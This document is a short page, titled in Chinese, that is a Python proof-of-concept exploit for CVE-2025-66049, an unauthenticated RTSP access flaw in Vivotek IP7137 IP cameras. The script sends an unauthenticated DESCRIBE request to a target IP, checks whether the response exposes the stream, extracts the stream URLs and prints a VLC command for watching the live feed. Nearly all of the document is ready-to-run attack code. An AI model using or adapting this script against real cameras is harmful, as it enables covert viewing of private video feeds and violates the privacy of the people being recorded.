CVE-2025-66049 Vivotek IP7137摄像头RTSP协议未授权访问漏洞

#!/usr/bin/env python3 # CVE-2025-66049 PoC - Vivotek IP7137 RTSP Unauthenticated Access # Usage: python3 poc.py <target_ip> [port] import socket import sys def check_rtsp_unauthorized_access(target_ip, port=8554): """Check if Vivotek IP7137 RTSP service allows unauthenticated access""" # RTSP DESCRIBE request without authentication describe_request = ( f"DESCRIBE rtsp://{target_ip}:{port}/live.sdp RTSP/1.0\r\n" f"CSeq: 1\r\n" f"Accept: application/sdp\r\n" f"\r\n" ) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, port)) print(f"[*] Sending RTSP DESCRIBE request to {target_ip}:{port}") sock.send(describe_request.encode()) response = b"" while True: try: data = sock.recv(4096) if not data: break response += data # Check for end of headers if b"\r\n\r\n" in response: break except socket.timeout: break sock.close() response_text = response.decode('utf-8', errors='ignore') print(f"[+] Response received:\n{response_text}") # Check if we got SDP content without authentication challenge if "200 OK" in response_text and ("sdp" in response_text.lower() or "v=0" in response_text): print("[!] VULNERABLE: RTSP service allows unauthenticated access!") print("[!] Video stream can be accessed without credentials") return True elif "401 Unauthorized" in response_text: print("[-] NOT VULNERABLE: RTSP service requires authentication") return False else: print("[-] UNKNOWN: Could not determine vulnerability status") return None except socket.timeout: print(f"[-] Connection timed out") return None except ConnectionRefusedError: print(f"[-] Connection refused - service may not be running on port {port}") return None except Exception as e: print(f"[-] Error: {str(e)}") return None def get_rtsp_stream_url(target_ip, port=8554): """Extract RTSP stream URL from response""" describe_request = ( f"DESCRIBE rtsp://{target_ip}:{port}/live.sdp RTSP/1.0\r\n" f"CSeq: 1\r\n" f"Accept: application/sdp\r\n" f"\r\n" ) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, port)) sock.send(describe_request.encode()) response = b"" while True: data = sock.recv(8192) if not data: break response += data if b"\r\n\r\n" in response: break sock.close() response_text = response.decode('utf-8', errors='ignore') # Extract track URLs from SDP import re urls = re.findall(r'rtsp://[^\s]+', response_text) if urls: print(f"[+] Available stream URLs: {urls}") print(f"[+] To view with VLC: vlc \"{urls[0]}\"") return urls return [] except Exception as e: print(f"[-] Error extracting stream URL: {str(e)}") return [] if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 poc.py <target_ip> [port]") print("Example: python3 poc.py 192.168.1.100 8554") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 8554 print(f"[*] Testing CVE-2025-66049 on {target}:{port}") print("=" * 60) result = check_rtsp_unauthorized_access(target, port) if result: print("\n[*] Attempting to extract stream URLs...") get_rtsp_stream_url(target, port)